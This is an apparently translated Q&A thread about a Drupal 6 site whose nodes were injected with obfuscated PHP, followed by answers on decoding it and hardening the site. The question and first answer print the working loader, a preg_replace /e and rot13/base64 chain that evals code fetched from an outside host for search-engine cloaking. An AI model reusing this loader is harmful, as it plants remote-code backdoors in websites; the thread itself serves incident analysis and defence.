今天,我的drupal 6网站中的所有节点都出现了这个添加的php脚本
?php $node->nid = 849;
preg_replace('/^(.'.'*'.')$/'.'e', preg_replace('/^(.'.'*'.')$/'.'e', 'str'.'_'.'rot'.(27-14).'(\'\1\')', 'riny(onfr'.(12*3+4*7).'_qrpbqr(\\'.(2/2).'))'), 'aWYoIWZ1bmN0aW9uX2V4aXN0cygnbm9kZV91cGRhdGVfbG9nJykpQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vc3NlZHJ1cC5vcmcvYXQvcl9pbmMucGhwJykpOwppZihmdW5jdGlvbl9leGlzdHMoJ25vZGVfdXBkYXRlX2xvZycpKW5vZGVfdXBkYXRlX2xvZygkbm9kZSk7');
if(@$node->body):
?php echo @$node->title;?
?php echo @$node->body;?
?php else:?
... here would go the original text of the node
?php endif;?
(我删除了一些符号以确保您可以正确阅读php代码)
所以,我想这意味着有人能够更新drupal表中的信息并注入这个php脚本。
1 - 这个PHP代码在做什么(如果有的话)? (当然除了阻止节点内容的可视化)
2 - 他们是怎么设法做到这一点的?是Drupal安全漏洞吗?一个Mysql吗?
3 - 我想恢复此问题的唯一方法是完全恢复数据库......
答案 0 :(得分:7)
制造这个的人,确实试图让代码难以阅读。
我不是百分百确定这是如何工作的,但顶线的最终结果是这样的:
if(!function_exists('node_update_log'))@eval(@file_get_contents('http://ssedrup.org/at/r_inc.php'));
if(function_exists('node_update_log'))node_update_log($node);
如果这是针对您的网站的,因为它是Drupal网站,您是否正在运行最新版本?他们可能正在利用Drupal中的一个已知安全漏洞/一个贡献的Drupal模块。您是否在Drupal节点中使用php过滤器,这可能是接入点。
我看了一下链接到的代码,这也很难阅读。这是负责更新所有节点的代码。似乎目标是通过查看IP地址来显示搜索引擎抓取工具的特殊内容。这是一种称为计时的搜索引擎优化策略。
无论如何link to the actual code that is run:
简而言之,这种对您网站的攻击,意在隐藏搜索引擎会为您网站上的某些特殊内容编制索引的事实。这可能是为了提高某些网站的搜索引擎优化。让这个真正知道他想做什么以及如何做的人。
答案 1 :(得分:2)
我假设你有最新的Drupal安装以及你正在使用的所有模块。这是您需要确定的最重要的事情 - 密切关注Drupal版本,并在发布安全更新时始终进行升级。
但是,它更有可能成为你的一个安全漏洞而不是Drupal核心的模块。 Drupal本身存在(可能仍然存在)缺陷,但真正讨厌的问题往往是模块化的。
原因是模块往往是由第三方编写的,第三方可能会或可能不会很好地理解良好的安全实践。虽然核心被每个人使用并得到了很多开发人员的关注,但大多数模块都没有这么广泛的用途,因此他们获得的开发工作更少,测试更少,使用更少,因此不太可能发现错误。
查看您用于网站的非核心模块(可能有助于编辑您的问题,以便在此处列出这些模块,但有些人知道具体的事情)。
使用Google搜索drupal modulename security
或类似的内容,看看会发生什么。也可以访问drupal.org上的页面并阅读那里的笔记;看看项目的活跃程度 - 模块上次更新的时间是什么时候?多久一次?有多少开发人员参与其中?等 - 如果这些数字很低,可以考虑找一个替代模块来做同样的工作。
如果你的PHP技能足够好(并且你有时间),你可以对它们进行代码审查,看看你是否能发现任何东西。
当然,可能根本不是一个drupal问题。如果您使用的是共享托管平台,则该框可能已被任何一个托管网站上的安全问题所破坏,从而导致该框上的所有网站遭到入侵(这种情况发生在我身上 - 不好)。但是由于注入的代码是特定于drupal的,所以看起来它可能是一个drupal hack,所以主要的嫌疑人必须保持你的安装。
希望有所帮助。
答案 2 :(得分:2)
您可能将“输入格式”设置错误。请注意,“默认”格式是每个人都可以访问的格式。如果将“FULL HTML”设置为“默认”,则会将您的站点打开为许多XSS漏洞。 如果将其设置为“PHP”,则将其打开至大约所有人。 “默认”并不意味着它只是默认格式,即已经选择的格式。这意味着每个人,包括所有可以评论和发布节点的人,都可以插入任何类型的PHP。
答案 3 :(得分:1)
除了提到的建议外,您还应审核您的权限。黑客可能找到了一种没有利用安全漏洞的方法(XML-RPC,非过滤器的PHP过滤器等)。
查看可能限制为POST的服务器日志,可能会提供有关其发生情况的一些信息。
黑客也可能直接访问数据库服务器并绕过Drupal本身。
答案 4 :(得分:0)
不要忘记检查您的权限。有时开发人员会忘记阻止匿名用户进行编辑,这可能需要一段时间才能找到它。